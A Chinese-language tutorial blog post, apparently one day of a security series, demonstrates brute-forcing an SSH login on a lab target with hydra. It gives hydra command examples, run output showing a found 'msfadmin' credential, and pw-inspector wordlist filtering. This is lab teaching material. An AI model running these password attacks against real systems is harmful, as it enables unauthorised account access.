Day 23 Password Attacks - 密码攻击 (hydra, pw-inspector)

工具介绍

今天要体验的工具是hydra,有别於先前体验过的其他工具,虽然也是透过字典档的形式,但它支援多种不同协定,可以用来破解sshtelnetftp等等,使用范例如下

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh                                              

范例里用到的相关参数如下

  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)

这边实际来对靶机测试看看,通常是用-L给定Login name的列表,然後搭配密码字典档来使用,但因为这边单纯想测试是否真的能比对到,所以直接指定Login name为靶机的msfadmin这个使用者,另外也故意把密码msfadmin加到password.lst最末端,总计88398个密码,最後用-t对靶机一次建立6个连线,来测试hydra能不能找到这组帐密来登入ssh服务

hydra -l msfadmin -P /usr/share/wordlists/metasploit/password.lst -t 6 ssh://192.168.1.86

暴力破解总是需要漫长时间等待,但这跑超久还是没等到,所以这边只显示过程

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-08 10:48:41
[DATA] max 6 tasks per 1 server, overall 6 tasks, 88398 login tries (l:1/p:88398), ~14733 tries per task
[DATA] attacking ssh://192.168.1.86:22/
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 88320 to do in 18:53h, 6 active
[STATUS] 54.00 tries/min, 162 tries in 00:03h, 88236 to do in 27:15h, 6 active
[STATUS] 52.29 tries/min, 366 tries in 00:07h, 88032 to do in 28:04h, 6 active
[STATUS] 50.80 tries/min, 762 tries in 00:15h, 87636 to do in 28:46h, 6 active
[STATUS] 49.87 tries/min, 1546 tries in 00:31h, 86852 to do in 29:02h, 6 active
[STATUS] 49.19 tries/min, 2312 tries in 00:47h, 86086 to do in 29:11h, 6 active

这边另外附上如果把msfadmin放到密码表前段,被hydra试到的状况

[DATA] max 6 tasks per 1 server, overall 6 tasks, 88398 login tries (l:1/p:88398), ~14733 tries per task
[DATA] attacking ssh://192.168.1.86:22/
[22][ssh] host: 192.168.1.86   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-10-08 10:48:20

即使在Login name明确的情况下,由於密码字典的数量较多,导致等待时间非常久。如果曾经打开密码档看过,可能会发现它里面有些测项有时候根本不符合大部分系统或服务的一些限制,例如长度、英数组合之类的,即使没有限制,我们也可能还是会订立策略来减少测试项目。这个时候就很适合另一个工具pw-inspector出场了

# 节录自 /usr/share/wordlists/metasploit/password.lst
0
000000
00000000
0007
007
007007
0s
0th
1
10
100

pw-inspector是用来检查密码是否符合限制,所以可以透过它加限制将符合条件的密码过滤出来,实际用法会像这样,列出长度6到8,且含有小写英文 + 数字的组合,透过这种方式去精简化字典,产出合乎自己策略的新字典,从而减少hydra的工作量

pw-inspector -i /usr/share/wordlists/metasploit/password.lst -m 6 -M 8 -n -l -o /tmp/my.lst

另外还有其他相关工具,像是dpl4hydradefault password for hydra,用来产生给hydra使用的预设密码字典表,还有hydra-wizard透过交互式命令来达到跟hydra一样的功能。另外还有图形介面版的hydra-gtk,但这要另外装,但没有什麽特别吸引人的地方,所以没打算试它。

以上,咱明天见。


<<:  【Side Project】 (顾客)订单UX功能实作

>>:  【後转前要多久】# Day23 JS - JavaScript 变数、运算

WordPress 安装 Google Analytics 教学,完整分析网站流量

在 WordPress 上架设的 Blog 已经完成了,也写了数篇的文章,在 Google 上已经可...

万事真能从影片完整复制学习吗?(教与学篇)

我们看电视综艺节目的森川葵,不管学习什麽技艺,都能很快学会,让教的人相当惊讶,且啧啧称奇,把这个电视...

ServiceNow CIS-SIR Exam - The Real World Experience

ServiceNow CIS-SIR Exam - The Real World Experienc...

宝塔Linux版升降级7.7版本脚本

复制代码保存*.sh,然后bash *.sh执行 #!/bin/bash PATH=/bin:/sb...

【从零开始的Swift开发心路历程-Day22】天气预报App实作Part1

昨天我们完成简易订单系统後,今天要来练习一个新的挑战-串接API! 这次我们透过中央气象局开放资料平...